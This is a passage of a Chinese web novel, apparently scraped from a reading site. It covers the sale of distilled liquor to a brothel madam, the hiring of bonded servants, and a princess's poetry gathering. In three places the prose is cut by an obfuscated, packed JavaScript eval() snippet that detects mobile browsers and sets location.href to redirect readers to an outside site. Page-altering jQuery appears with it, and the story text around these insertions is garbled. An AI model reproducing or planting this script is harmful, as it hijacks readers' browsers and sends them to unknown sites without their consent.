老鸨仍是一脸气愤：“我本好心帮你，谁料你竟然敢消遣老身，三十两一瓶，你真以为自己是王母娘娘的玉液琼浆了？走吧，老身不留你了。” 黎大为忙赔笑：“妈妈莫生气，要不先看一下这酒水再说？”说着就递上酒瓶，谁知老妈一脸怒容，右手一挥，大声道：“不要！”右手挥起，在刚碰上黎大为的手之时，黎大为故意将酒瓶滑落到地，只听一声轻响，瓶裂酒出，霎时酒香四溢，引得众人纷纷围过来，吸着鼻子到：“好香的酒。” 老鸨也问到酒香，脸色诧异，问道：“什么酒？居然如此之香醇。” 黎大为故意面露疼惜之色，双手搓着，讷讷道：“可惜了，三十两银子就没了。” 老鸨见他可怜模样，倒是有些心软，又听他说什么三十两银子没了，便道：“就是这酒？”黎大为见她似有回头之意，忙道：“正是此酒，摔碎一瓶，不碍事的，还有一瓶，妈妈且看看。” 老鸨这才坐下，黎大为赶紧让李三娘拿出一瓶，老鸨见瓶身可爱，倒有了几分期待。黎大为道：“劳烦妈妈借几个杯子用。”老鸨示意了一下，自有下人拿来了几个杯子，放在托盘上端上来。众人好奇，全都围了上来。 黎大为扒开瓶塞，酒香溢了出来，满大厅都能闻到。倒了几杯，先双手端给老鸨一杯，又将几杯递给了围观的众人。老鸨端起酒杯，轻抿一口，面色缓和，然后一杯下肚，不觉脸有些喜色，过了好一会儿，才道：“酒确实好酒。”旁边几个人也喝了，纷纷赞道：“好酒，好酒。不想世间竟有如此美酒。只此一杯，平生足够快慰了。” 一个商贾模样的中年男子挤上来，笑道：“公子，此酒怎么卖？要不我们谈谈？”老鸨认得是杂货店的张胖子，一挥手：“死胖子，哪里都有你，你个杂货铺，要卖啥子酒，小红还等着你呢，快走快走。”一个女子赶紧拉他过去，娇声道：“张爷，我们去喝酒乐子。”把他朝一边拉去，商贾还不忘回头道：“公子，不着急，一会儿我们再谈谈。” 黎大为满脸堆笑，忙收回酒杯，又倒了几杯，给刚才没喝到的人，那些人也不管杯子是不是别人喝过的，只想尝尝这人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老鸨心想，青楼招揽客人，要的就是新鲜，喜新厌旧是人之本性，不要说乐曲，就是很多妓子，都是流动的，在一个地方不能呆太久。如果有不同音乐，客人一定高兴。于是道：“不想公子竟有如此雅兴，既如此，我等洗耳恭听。” 说罢，二人走出厢房，正好一曲完毕，老鸨招了招手，一龟奴过来，老鸨吩咐几句，龟奴过去找乐班班主说了几句，班主朝老鸨这边看过来，点点头。 老鸨道：“公子请。”黎大为叫上门外的莺儿，道：“莺儿别慌，跟我上去。”拉起莺儿的手就走。莺儿紧张得手在发抖，脚步都有些不听使唤。黎大为停下来，轻轻安抚：“莺儿妹妹，别怕，就当昨天我们练习一样就行。这些人你就权当看不见就行了。” 二人上得台来，黎大为走到古琴位置，琴师退到台下，黎大为调调琴弦，起身朝台下行礼，落落大方，口中道：“各位客官，小子从千里之外的盘州，初到贵宝地，承蒙妈妈看得起，在下和妹妹一起为大家奉上一曲家乡的民谣《玉湖水浪打浪》，感谢各位捧场。”台下人等都看了过来，只见黎大为一表人才，莺儿也是俏丽可爱，都大感好奇。 琴声响起，莺儿开始唱起来，初时紧张得很，声音有些打不开，慢慢不再看下面，只管自己唱，声音就好了很多，唱得顺畅起来，后来感觉越来越好，竟感觉比昨日练习时还要好上几分。 一曲唱罢，大厅里响起轰然的叫好声，有人高叫：“唱得好，再来一首！” 莺儿好生兴奋，笑着看向黎大为，大为含笑点点头。 黎大为随手一拨，琴声响起，《铃儿响叮当》曲调欢快俏皮，莺儿也跟着唱了起来，还不时加了点动作，更显活泼可爱。 众人听得高兴，几个女子竟随着音乐扭动了起来。里面的乐声，竟又将不少门外路过的客人吸引进来。 曲罢，又是一片叫好声。黎大为起身拉着莺儿，朝大家施礼感谢，然后下台，来到老鸨身边。不料班主却追了过来，道：“公子莫急，刚才公子所奏，不知可有曲谱，能否让在下一观？” 黎大为道：“曲谱是有的，只是。。。。”看看老鸨，老鸨自然秒懂，道：“若是公子割爱，我们还可再谈。”黎大为这才掏出曲谱给了班主。班主如获至宝，赶紧拿回去和乐师们商量起来。 二人回到屋里，老鸨道：“不知公子兄妹竟如此大才。”黎大为忙道：“妈妈谬赞。雕虫小技，不足挂齿。”老鸨沉吟到：“刚才所说酒价，还是太高，你看。。。。” 黎大为道：“既蒙妈妈看得起，要不我们各退一步，每瓶二十两，这样妈妈不至太为难，小子也好有盘缠回家。”老鸨一拍大腿道：“就这样定了。”二人相视一笑。 黎大为道：“我这就回去，给妈妈把酒送过来。” 刚出厢房，只听乐曲变了，正是那首欢快的《铃儿响叮当》，这次可不是一把乐器演奏出来，而是一个乐队，各种音色，各种鼓点，感染力绝非刚才可比，众人都听得入神，好多人已经跟着节奏扭动了起来。 班主正是敲鼓之人，他将曲谱拿过去，赶紧让人誊抄了几份，然后在上面上批注了一些乐器的进入退出，乐师都是专业人士，自是一看就懂，几乎不用排练，直接就演奏了出来，虽有点小瑕疵，也没人在意，营造的氛围够了就好。 班主见黎大为出来，微笑着点头致意，黎大为也点头微笑，并竖起大拇指。 黎大为送酒来交接完毕，收了银票，正准备走，却见班主追将出来，道：“公子留步。”黎大为拱手：“不知班主还有何事？”班主道：“刚才听你妹子唱歌，确是一颗好苗子，若是公子不嫌弃，不才有意收她为徒，不知公子意下如何？” 黎大为踌躇，班主明白她的担忧，忙道：“公子切莫误会，本乐团虽在万花楼讨生活，却并不是万花楼的人，也只是雇佣而已。若是妹子愿意，必不会让她沾染那些不好的东西。” 黎大为不敢做主推道：“此事我还不能做主，还得和妹子商量再说。”班主道：“好说，这个是应该的，这几个月我都会在万红楼，若是妹子愿意，可随时来找我。”黎大为称谢，班主进去了。 拐角处，黎大为看见杂货店的张胖子还在那里等着，笑着迎上去，掏出十两的银票给他，道：“今日多谢张掌柜了。”张胖子接过银票，欢喜得本不大的眼睛眯成了一道缝，是啊，十两白花花的银子，可以抵他三个月的利润了，只是说了几句话而已，赚钱如此容易，怎不叫他心花怒放？忙道：“呵呵，哪里话，以后公子还需要这种事，只管来找我。” 20. 第 20 章 20、大壮的身契 柳河庄。 苏云忍住没问黎大为昨日的具体情况，只知道他将银票给了王嬷嬷入账。一早就将黎大为派了出去，让他去杨家村定制两千个酒瓶，不错，又多了一倍。让黎大为错开苏贵，主要是怕苏贵看出端倪。现在苏云还不想就被侯府知道具体情况。 苏贵昨日喝得有点多，醒来时早饭已过，赶紧起床，把二两银子给了王嬷嬷，向苏云告辞，他今日就得赶回京城。苏云忙拿出两封信，再给了两小坛雪里柔，苏贵推脱不过，只得接了，匆匆告辞而去。看看苏云的小院，也不知小姐哪里得到的银钱，竟将院子扩大了两倍，还蓄养了诸多仆人，只是他在侯府当差，深知嘴巴要闭紧的道理，回去之后，没人问起，他也不会主动去说。 下午苏云打坐完毕，推开门，只见阿牛跪在门口，看见她出来，纳头便拜，旁边还站着林二伯，一个老妇人，还有不认识的一男一女。 苏云唬了一跳，赶紧道：“阿牛，你这是做什么，赶紧起来，有事好好说。”看了一眼旁边的王嬷嬷，王嬷嬷上前要拉，阿牛就是不起来，带着哭腔道：“感谢小姐，让我去接了老母回来，此生阿牛就是小姐的牛马，只要小姐一声令下，刀山火海，决不退缩！”旁边的老妇人也跪下，道：“多谢小姐心善，没想到老身此生还能活着见到儿子，真是菩萨显灵了。小姐你人美心善，菩萨保佑你！” 苏云赶紧侧身道：“王嬷嬷，赶快把老人家扶起来。老人家快起来，我年纪轻轻，怎敢受老人家如此大礼，你这样不是要折我的寿吗？快快请起。我们有事好好说。” 一番闹腾，阿牛母子总算起来了。王嬷嬷扶着阿牛娘，把她安排到东院歇息。 苏云让阿牛、林二伯进屋，林二伯道：“小姐所托的事情已经办好。外面是何大壮和她的妹子何小花，具体的，让阿牛说吧。” 阿牛就简单将二人的情况说了。 听说二人要来投靠，苏云倒是很惊喜，正愁找不到人来做蒸馏酒，看何大壮膀大腰圆，干活应该是一把好手，这不是老天送人来了吗？ 苏云道：“既是林二伯和阿牛推荐，我自然是信得过，但我做的事情需要保密，我说实话，没有身契的人，我是不敢用的。兄妹二人来我院子，若是你们也信得过我，大壮就签身契。至于小姑娘嘛，那倒不必，现在人多，厨娘一个人忙不过来，李三娘虽也帮忙，但我总有事要让她随行，厨娘还是一个人，若是姑娘不嫌弃，可以跟着厨娘，先帮她打打杂。闲暇时，也可以去绣房学学刺绣。看姑娘年岁，已快到嫁娶之年，不知可有许配人家？若是没有，以后相看了好人家，我会为你添些嫁妆，不敢说风光大嫁，断不会让你受了委屈去。成与不成，你兄妹二人自行商量看看。不急，明天回复我也是没有问题的。不管怎么样，你们是阿牛的朋友，就算不成，在这里呆几日，也是无妨的。” 众人告辞出来，王嬷嬷安排好阿牛娘，又来安排大壮兄妹俩的住处。何小花看着自己的房间，简直不敢相信，样样都有，比自己的破家好了不知多少倍。又见旁边绣房里面好多女子在刺绣，心里痒痒，扒在窗口看了好一阵，只见杨氏出来，温言道：“姑娘喜欢刺绣？”何小花点点头。 杨氏道：“不用扒在窗口看，喜欢的话，就进来瞧瞧吧。”何小花忙道：“谢谢婶子。”就跟着杨氏进屋里，只见姑娘们都在专心刺绣，也没人管她。她就四处走动看看，杨氏一直在观察她的表情，只见她一会儿面露惊讶，一会儿有些不屑，知道她应该会一些刺绣，于是向她招手，轻声道：“你可愿刺绣一张手帕？”何小花点点头。 西院，何大壮看到自己的寝室，各种家具齐全，被褥也是全新的，也觉得比自己的破家好太多，床上一躺，舒服得心里直叫爽。阿牛进来，道：“大壮哥，小姐说了身契的事，事关机密，你要签身契才能留下，不过小花妹子不用，你是怎么想的？”大壮坐起来，道：“这个事情我也不知道，毕竟签了身契，就是人家的人，生死都由不得自己。不过日子确实过得挺舒坦，我还得去和小花商量一下看。” 阿牛道：“是啊，这事很重要，事关你的终身，我也不敢有什么保证，得你自己拿主意，你和小花妹子好好商量来看吧，愿意与否，全得看你们自己。” 于是何大壮就到东院找小花，阿牛娘指了指绣房，何大壮在窗口看了一下，只见何小花正在认真的绣着花，神情专注中透露出满足。心里一动，知道妹子从小就喜欢刺绣，但是找不到师傅。心道为了妹子牺牲一下自己，似乎也值得，况且听阿牛说日子不错，看小姐也是容易相处之人，不由心中也动摇了五六分。 绣房里全是女子，大壮不便多看，就转身离开，阿牛娘带他看了小花的房间，也和自己的差不多。心想这么好的主人家可不多，心里好感又多加了两分。 快到晚饭时节，黎大为回来了，直接去见了苏云，苏云这才有时间听他说了昨天在青楼的事情，不由对黎大为刮目相看。听到班主想收莺儿为徒，不由得有些踌躇。 苏云叫来莺儿，问问她的意思。莺儿道：“大为哥昨天跟我说了，莺儿想学。” 苏云想了想道：“这样吧，反正他们还会在万红楼驻场几个月，主要怕莺儿去吃苦，也怕在那种地方学习，对莺儿以后的声名有损。也不着急，容我再想想。” 然后，苏云自去库房找到那十瓶没有带走的蒸馏酒，拿出两瓶，亲自给林二伯送过去。 苏云道：“林二伯最近几日辛苦了。前面说过，要制作好酒，如今弄成了，你且尝尝，看看如何？” 林二伯迫不及待拔出木塞，闻到飘出来的香气，脸色诧异，举起瓶子就灌了一口，差点被呛住。苏云好笑：“林二伯，这是给你的酒，没人给你抢。” 林二伯笑了笑，回味着酒香，紧接着，又举起酒瓶喝了一口，咂咂嘴回味，过了好一阵，叹气道：“活了一辈子，能喝到这样的好酒，值了！” 苏云笑道：“林二伯，现在这个酒还不多，你省着点喝。” 正想请教功法的事情，只听王嬷嬷在叫喊可以晚饭了，苏云道：“嬷嬷，今天来了客人，我也和大家一起用饭，你去开一坛雪里柔来，大家乐呵乐呵。” 大家围坐在一起，黎大为因为刚回来，并不认识新来的人，阿牛为双方都做了介绍，苏云举起酒杯：“今天难得大家聚在一起，欢迎阿牛娘、大壮和小花来柳河庄，干了。”大家举起酒杯，一饮而尽。 苏云道：“小花姐姐第一次到柳河庄，可还习惯？”小花兴奋道：“小姐，这里很好，小花很习惯的，刚才杨婶子还夸我刺绣不错，要我明天去学。”苏云笑道：“这样挺好的，那你这两天就跟着杨婶子学吧。”小花高兴的连连点头。 阿牛娘道：“承蒙小姐收留，老身也不能吃闲饭，既然厨娘妹子忙不过来，我也就跟着打打杂，我虽做饭说不上好吃，摘菜、洗菜总还是可以的。” 苏云道：“这样不好吧。阿牛说你身子不好，也才大病初愈，你先将养几天，等病彻底好了再说，不着急的，别把病情加重了，让阿牛担心。”阿牛道：“是啊，娘，不着急，听小姐的，若是逞强，又犯病，还得要人伺候你。那就不是帮忙，是添麻烦了。”阿牛娘笑骂：“你这小子，也不盼着我点好。”众皆大笑。厨娘也道：“老姐姐不用着急，有三娘帮我，现在我还可以对付的，真不用着急。” 宝儿也让林二伯抱在怀里，这小屁孩，见林二伯回来，居然不亲外婆，非缠着林二伯抱，林二伯也很是喜欢宝儿，自然惯着他，弄得李三娘都哭笑不得。 大家吃饭喝酒，说说笑笑，院子里一片祥和。 翌日，苏云照常打坐，运用内息感觉又好了一点，能够听指挥的内息似乎多了一点，心里还是挺高兴，吃过早饭，让王嬷嬷去请了林二伯过来。 苏云摒退了左右，林二伯道：“想是小姐这几日气息有了一些体会？”苏云道：“正是，邀请林二伯指教。”于是将这些天的情况说了。 林二伯面露吃惊：“小姐神人也，这才几天，你竟已达到如此地步？小姐真是百年不出的天才。”苏云一脸懵，诧异道：“很快吗？我还以为自己没什么天赋，练了这么多天才这样子。”林二伯道：“才这样子？你还要怎样，若是普通人，练到你这地步，不要一年，半年总是需要的，我平生也就只见过一两个三个月能到你的地步的。” 苏云惊诧到不知该说什么了。其实她从没想过自己要当什么武林高手，不过是自己喜欢，也就是想学学，用来防身自保，练习的时候虽多，却也并不刻意用功，都比较随性，没想到却被林二伯一顿猛夸。 林二伯道：“既是如此，你照着练习就是，两三月当见成效。千万不能心急，急于求成，很容易走火入魔，反而不美。” 苏云笑道：“我不急的，就是觉得好玩而已。” 林二伯告辞后，阿牛带着何大壮兄妹来见。苏云客气得问：“不知兄妹二人，昨晚可还睡得习惯？” 何大壮道：“多谢小姐关心，睡得很是安稳。”苏云见他眼眶泛青，心中好笑，想是因为身契之事，彻夜难眠，能睡得踏实才怪。 苏云并不说破，又道：“今日来见，想是身契之事已然想好？” 何大壮道：“正是，只是还想请教小姐几个问题。” 苏云道：“但说无妨。” 何大壮道：“若是签了身契，在下主要干些什么？” 苏云道：“自是有些活计要让你做，和阿牛一起。也不算很辛苦，出力自然是少不了的。” 何大壮道：“在下从小就是码头上讨生活的，出力吃苦倒是不怕的，只是担心过些日子，会不会把我们卖掉？” 苏云道：“你若能吃苦，对本小姐忠心不二，怎会卖掉你？谁会把忠心之人转手他人？本小姐保证，绝然不会的。我可以答应你，若是本小姐自身难保，照顾不到大家，我会把身契先还给大家，各自寻生路去。” 何大壮心中一喜，又道：“那妹子小花怎生安排？” 苏云道：“就像昨天所说，小花不用签身契，若是愿意留下，就暂时按照昨天所说的安排，先帮厨娘打打杂，院子里几口人，也不缺她一双筷子，若是她刺绣学成，自己赚的钱，自己留着，以后找到好人家，也可在我这里出嫁，我也会添一点嫁妆。我这里也算是她的半个娘家，但凡有事，我可为她做主。” 小花羞得脸色通红，却没有作声。 何大壮噗通跪倒，道：“如此，在下愿签身契。” 苏云道：“你要不要再想想？总之，若你签下身契，只要对本小姐唯命是从，本小姐绝对不会亏待你，更不会将你发卖。不过还要再次提醒你，我们做的事情需要严格保密，当然不是杀人放火，你可放心。只是你只要涉入其中，便不可泄漏一丝消息，连你母亲妹子也不能说，你可愿意？” 何大壮道：“这个自然，绝不可能走漏风声。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏云接着说：“安排的事情，只要办好了，我会按照功劳赏给大家。昨日，黎大为为我们院子赚得不少钱，现在就赏银二十两，三娘和莺儿也曾出力，赏银各二两。”众人一听，都大吃一惊，二十两银子可不是小数目，好多人一辈子都没见过，都很好奇黎大为做了什么了不得的事情，得到如此多的赏赐，但想想刚才小姐说的话，顿时熄灭了刚刚燃起的八卦之心。 说罢，王嬷嬷按照苏云的安排，分别给了三人银子，黎大为道：“在下签了身契的，为小姐做事，自是份内之事，怎敢受小姐赏赐？” 苏云道：“有过必罚，有功必赏，无须多言。只要以后大家好好做事，必不会亏待了大家。对了，王嬷嬷，明天你跟杨婶子说一下，大壮、阿牛娘和小花，也做两身夏服。” 苏云道：“现在院子里人越发多了，需要一个人管理。这个我就安排王嬷嬷做院内总管，院子的收入支出，都归她管，后面的，主要委托大为做主，大家有事，可先找王嬷嬷和大为商量。另外，我们以后会有一部分人要到城里去住，具体人手，到时候再安排，大家心里要有个数。好了，莺儿、小花、阿牛娘、厨娘嬷嬷，你们先退下吧。” 等她们退下后，苏云喝了口茶，不急不慢道：“让你们留下来，是有重要的事情要告知你们。我的打算很简单，就是要多赚钱，让大家都有好处，也不白忙活。我这里有几个方子，绝对保密，相互之间不能打听，需要大家发个毒誓。” 黎大为首先跪下，举起右手：“我黎大为发誓，若敢泄漏小姐的方子，天打五雷轰，不得好死！”大家见了，也纷纷发了毒誓。这个世界信奉鬼神，特别看重誓言，所以苏云才让他们发重誓。 苏云道：“今天已晚，大家回去安歇，明早再来安排具体事情。”众人退下。黎大为正欲退下，苏云叫住了他。 苏云道：“我们院子目前的生意，主要有两块。一是这个酒水，昨日虽有千余两，对付院子里的吃喝应是没有什么问题，但要进一步，还是不够。下一步，是要把酒水生意做到京城去，所以花费必然颇巨。你过几天去万红楼，打听一下我们的酒水卖的如何，如果很好，就再卖一车给他们，就说是失散的家人找回来的，价格嘛，看情况增减。然后临川县短期内就不能再卖了。酒水加工提纯，酒味影响比较大，城里不容易隐藏，所以制作只能在柳河庄，你接到定制的酒瓶后，也尽管送到城里院子去。” 黎大为没有作声，静静听着。 苏云继续道：“第二点就是做冰。”黎大为奇道：“做冰？冰也可以自己做？”苏云道：“呵呵，别忘了我是龙女，做冰不算什么。我会教你们，很简单的。但是尤其要注意是，做冰的方子已经出售过，鱼塘、水车、石桥、水渠、互助会资金都是由此而来的。当时允许我们自己制冰，却绝对不能外传。生意之道，重在信誉，我们更要严格保密，切不可泄露。”黎大为点头称是。 苏云道：“所以，明天你进一趟城，把库房里的硝石也带到城里去，先找人把城里院子打扫出来，配好用具，尤其是水井，一定要打扫干净。过几日会安排人过去住；然后去定制三套蒸馏的器具，还有一些制冰的容器，稍后会给你图纸。制冰的器具直接送城里院子，酒具则送回柳河庄。这一块东西比较多，你多受累，人手不够，可安排阿牛和大壮他们去。” 苏云继续道：“还有一点，我们的摊子越来越大，现有的人手不够用的，有空去伢行看看，挑一些老实可靠、身体强壮的，不拘男女，先买个三四个，你事最多，也须有人帮衬，如有合适的，你也可以买一个伶俐的小厮跟着你跑跑腿。如果有牵挂的最好，比如有家人的，一概买下，这样有牵制的最好。可就先安排在城里院子。你还要去打听一下冰块的价格，最好能联系城里富户，定期给他们送冰。” 黎大为：“都记下了。” 苏云道：“明日事多，一个人怕是忙不过来，你再让三娘也随你去，好分派各自一些事情。若是回柳河庄不便，就在城里歇息也行。不过，回柳河庄的时候，再买几大坛酒回来，要伊人醉、雪里柔，口里乐也弄一大坛回来。” 21. 第 21 章 21、公主诗会 苏贵回到侯府，已是次日上午。正遇上侯爷要出门，苏贵忙把苏云信件给侯爷，侯爷径自坐进马车，这才拆信看起来，原来是苏云说为了让柳河庄的田地得到灌溉，用龙王给的水车设计图建造了一架水车，已经安装完毕，结合水渠，效果很好。若是方便，可将设计图纸进献皇上，大力推广，对天下农桑会大有裨益，想来也会得到皇上的赏赐。又将设计图纸展开看看，心里有些火热。忙叫停车，吩咐车夫把苏贵叫来。苏贵刚进侯府，就被车夫叫了出来，侯爷让苏贵上车，马车继续行走。 侯爷道：“小姐在柳河庄怎么样？是怎生管理柳河庄的。”苏贵道：“回老爷，奴才并不知小姐怎么管理的，就见已经在柳河上建了一座石桥，挖了鱼塘，还修建了一个水车。”侯爷道：“兴建石桥，那得要多少银子？就她一个月二十两月例，哪有余钱修桥？钱从哪里来的？”苏贵道：“回侯爷话，奴才委实不知，只知道舅老爷去过之后，小姐就开始动工，想是舅老爷给的。”侯爷沉默一下，又道：“那水车你见过，是不是这样子？”说着，将设计图递给苏贵，苏贵看了一下道：“应该就是这样。”侯爷道：“那你且说说到底是个什么样子。” 苏贵道：“我去看过水车，以奴才所见，应是树立一个巨大支架，然后做一个大圈，像车轱辘，上面安装好竹筒，用水的冲力作为动力带动大轮转动，由低处朝上面转，就把竹筒里的水提到了上面，再引进水渠里面，顺着水渠流进田地。”侯爷眯起眼睛，想象了一下是什么样子，然后对车夫道：“不去礼部，改去工部。” 到得工部，径直找到工部主事刘云章，他和刘云章关系较近一些。刘云章也是刚到不久，正在整理案牍，见侯爷进来，忙上前施礼道：“见过侯爷，不知今日什么风，把您老人家吹过来了？”侯爷还礼，道：“刘大人，你我兄弟，何必如此客气。今日过来，是有事想请教。” 刘云章道：“侯爷客气，有事尽管吩咐，但有所命，莫敢不从！”侯爷道：“刘大人说笑了。今日过来造访，是想起刘大人看看这张图纸，掌掌眼。”说着，将设计图递过去。 刘云章接过，放到桌上展开，他是工部主持修建的，自是识货，才看了几眼，突然激动起来，道：“这是何人所绘？端的是构思奇巧，利用水的冲力，将水从低处提到高处，这个对于灌溉农田想是有极大地益处，尤其是坡地干旱之处，解决了用水灌溉之难题，亦可节省很多劳力，此物实在太过重要，不知是谁设计的？”侯爷面有得色，道：“是小女苏云在柳河庄设计的，而且已经建成了一个，说是效果委实不错。苏贵，你来给刘大人说说。”于是，苏贵上前，将水车的运作说了一遍。 刘云章郑重向侯爷深施一礼：“令爱此等巧思妙想，必定能造福万民。在下替万民谢谢令千金了。”侯爷忙谦逊还礼道：“不过是小女涂鸦，如何当得大人如此大礼？”刘云章正色道：“绝非戏言，在下句句实话。只是水车要想在全国推广，还得请皇上过目才行。”侯爷道：“这个自然。”刘云章继续道：“此事需上报工部郎中何大人，还得请户部一起商议。要不现在就去找何大人？” 何大人看了水车图之后，也觉得不错，又带着二位去户部，几经周折，最后一致认为此车价值颇大，必须进献皇上。于是三人一起，立即进宫，将水车图献给了皇上。 献上图纸后，侯爷日夜盼着皇上的封赏，谁知一连几日都没有音讯，侯爷也就把这事淡忘了。 这日，侯夫人把府中一众小辈叫来，侯夫人衣着华贵，端坐在主位，只见下面除了三位公子，莺莺燕燕全是一堆如花似玉、衣着华美的小姑娘，唧唧咋咋，养眼是养眼，只是侯府阴盛阳衰，不免让人有些担忧。待得大家坐定，侯夫人道：“今个请大家过来聚聚，是有个好事要告知大家。大家知道，玲珑公主的诗会，只邀请了府上大公子和二公子参加。” 众位小姐当然知道，小姐们大门不出，二门不迈，早就想出去透透气，早听说有这个消息，都巴不得去，尤其是苏珏、苏环、苏黎这些快及笄的小娘子。只是没有公主的请柬，也是没有办法的事情。 看着大家失望的神情，侯夫人淡淡一笑道：“如今事情起了变化，今个儿一早，玲珑公主让人捎信过来，半月后的诗会，特地要求咱侯府全部参加。”说完，不再言语，静待大家反应。 下面一下子全体沉默，随后小姐们猛地发出尖叫，兴奋得喊叫起来，苏琏、苏黎甚至站起来，又蹦又跳。两个姨娘也笑个不停。 待一阵子，侯夫人摆摆手，众小姐安静下来。侯夫人道：“你们的心情可以理解，只是出去之后，切不可像刚才一样没有礼数，大喊大叫，有失女儿家的教养，不成体统。”众皆道了一声诺。 侯夫人喝了一口茶，继续道：“公主府不比在侯府，随你们怎么胡闹都好说，一定要谨言慎行，有礼有节，万不可丢了侯府的颜面。” 众皆又道了一声诺。 苏琦道：“启禀母亲，公主突然改变主意，邀请妹妹们全体参加，却是为何？”侯夫人道：“母亲也不知晓是何原因，今天突然就传了信来，也没说具体缘由。不管怎样，琦儿我是不用担心的，就是小娘子们要多加注意。平日里让你们练习的琴棋书画，若是机会适当，可以在人前表现出来，只是切不可争风头，坏了侯府名声。姐妹之间，自要和睦，事事相帮，若是你们中间有人卖乖出丑，损坏的不仅是侯府体面，更是你们自己的颜面，以后能不能说上一门好亲事，还得看你们自己在外面的表现，记住一荣俱荣，一损俱损的道理。” 女儿们皆郑重点头。 侯夫人又道：“只是前面没想到玲珑公主会在这时候邀请大家，如若现在准备服饰，只怕已然来不及。还好平日你们的服饰也还过得去，相互之间交换交换，彼此帮衬，应是无虞。若是无事，大家就下去各自准备，散了吧。” 众人一听，有些失望，周姨娘和卢姨娘更是相互对视一眼，脸上露出苦笑。 不过毕竟是小女孩子家，不快只是那么一下，接着就兴奋起来，开始讨论要去赴宴的衣着首饰起来。 侯府小姐们拿出自己最好的服饰，让府中的掌线嬷嬷加班加点，做一些修改，苏珏等刻苦练琴、吟诗，接下来的时间，侯府都在紧张欢快、充满期待的气氛中度过。 终于到了诗会的那一日。上马车前，侯夫人又免不了叮嘱小姐们一番。 风和日丽，公主府宽阔华丽，因为人多，将宴会设在大厅，中间设置了一排屏风，将男宾女宾隔开，珍馐美味满桌，的确是公主大手笔。 公主雍容华贵，端坐上座，道：“今日诗会，有劳诸位拨冗捧场，大家也别客气，所谓诗会，就是找个由头，大家聚聚，随便自在一点就好。我先敬大家一杯！” 众人皆起立行礼，喝酒，感谢公主厚待。 待大家坐下，公主放下酒杯道：“既是诗会，自然免不了要做几首诗的。在座公子小姐，都是满腹才华，有愿展示才能的，不论男女，均可提笔。”又指了指旁边三位老头，道：“这几位是翰林院的张老、白鹿书院的鸿儒黄山长，瞿老夫子也大驾光临，各负盛名，就由他们来评判各位的诗作，必是公正服众的，前三名均有彩头，还望各位一展才华。” 三位大儒均是当朝最著名的大家，谁人敢不服！尽皆点头。 公主继续道：“今日诗作不设主题，各自尽管拿出得意之作，半个时辰后交稿评判。构思之时，少不得请哪位才女来弹琴助兴？可有自荐的？” 京城盛传，尚书府嫡孙女曹茹慧是第一才女，琴棋书画，样样拿得出手，此次盛典，就有贵女推荐曹慧茹，但曹才女志不在此，暗想和贵公子以诗作扳扳手腕，满心考虑诗作，不愿登场。侯夫人看了一眼苏珏，苏珏会意，按捺住一颗砰砰乱跳的心，站起来道：“在下定阳侯府苏珏，若无别家才女上场，奴家愿抛砖引玉，为大家抚琴一曲。”话一出口，好多准备跃跃一试的贵女懊悔不已，暗自埋怨自己胆子还是太小，没有把握住机会。 公主循声望去，只见苏珏面若桃花，婷婷袅袅，微微点头，自有侍女过来，引着苏珏坐到了古琴面前。苏珏定定神，略一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205751|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨弦定音，然后开始弹奏起《春风略抚桃花红》，琴声悠扬，声声入耳。其间侍女捧着放着笔墨纸砚的托盘穿梭其中，需要作诗的可以随时取用。苏琦也取了纸笔，苦苦构思。 苏珏的琴声，让宾客如沐春风，一曲完毕，尽皆鼓掌，甚至有公子高叫：“再来一曲！”苏珏心里暗自高兴，站起身福礼，朝向侯夫人，见侯夫人微微摇头，便道：“小女子献丑，只为抛砖引玉，尚有诸多才艺双绝的贵女，请诸位听听她们的珠玉之声。”说罢，移步离开琴座。这一下，更加赢得众宾客好感，认为她是一个琴技高超，却又知书达理，知进退的一个贵女，好多贵妇人已经开始打听起来。 接下来自有不少贵女上场，此起彼伏，有几个甚至争吵起来，好不热闹。 见时辰差不多了，公主命人将诗作收将上来，让三位大儒评价。 这才是诗会重头戏，只见三个评委不断拿起纸笺吟读，一会儿又放下，捡起另一张，下面做了诗的人心里七上八下，好生紧张，只见扔在一旁的纸笺越来越多，留下来的越来越少，似乎只剩下五六张，三个老头又似展开了激烈的争论，最后总算达成一致，排出了前三。 然后呈现给公主，公主看罢，频频点头。 只见翰林院大儒张老起身道：“公主爱惜人才，才成就了如此佳会，此次诗会，可谓盛况空前，佳作频呈，足见本朝文风兴盛。所阅佳作，何止十数，奈何有前三之约束，只得优中选优。经三位评审一致认为，手上三篇，即为今日三甲。” 众人或好奇，或激动，都在猜测是谁的诗作，毕竟在这种场合被认可，明日之怕就要誉满京城了。 张老继续道：“相信大家很是期待了，老朽就不啰嗦，直接宣布。从第三名开始。第三名：韦骐韦公子，他的诗名 《春日田园杂兴》 溪绕柴门水自斜，苔痕印屐落松花。 闲敲棋子烹新茗，静看春风扫落花。” 台下不认识的，都在找这个韦骐，认识的，都在朝韦公子拱手祝贺，韦公子站起来，满脸堆笑，抱拳作揖，环拜致谢，原来是一个二十四五的公子，长相普通，但衣着华贵，认得的人对旁边的人讲：“这是礼部员外郎家三公子。” 待得大家稍稍安静，老者继续道：“第二名是个女子，虽是闺阁相思，却也情真意切，委实动人。诗名 《闺阁秋思》 沉沉夜色锁重楼，隐隐蛩声扰客愁。 玉镜台前慵整鬓，银筝柱上懒调讴。 相思已逐浮云远，别恨空随逝水悠。 何日兰舟归故里，共簪霜菊醉清秋。 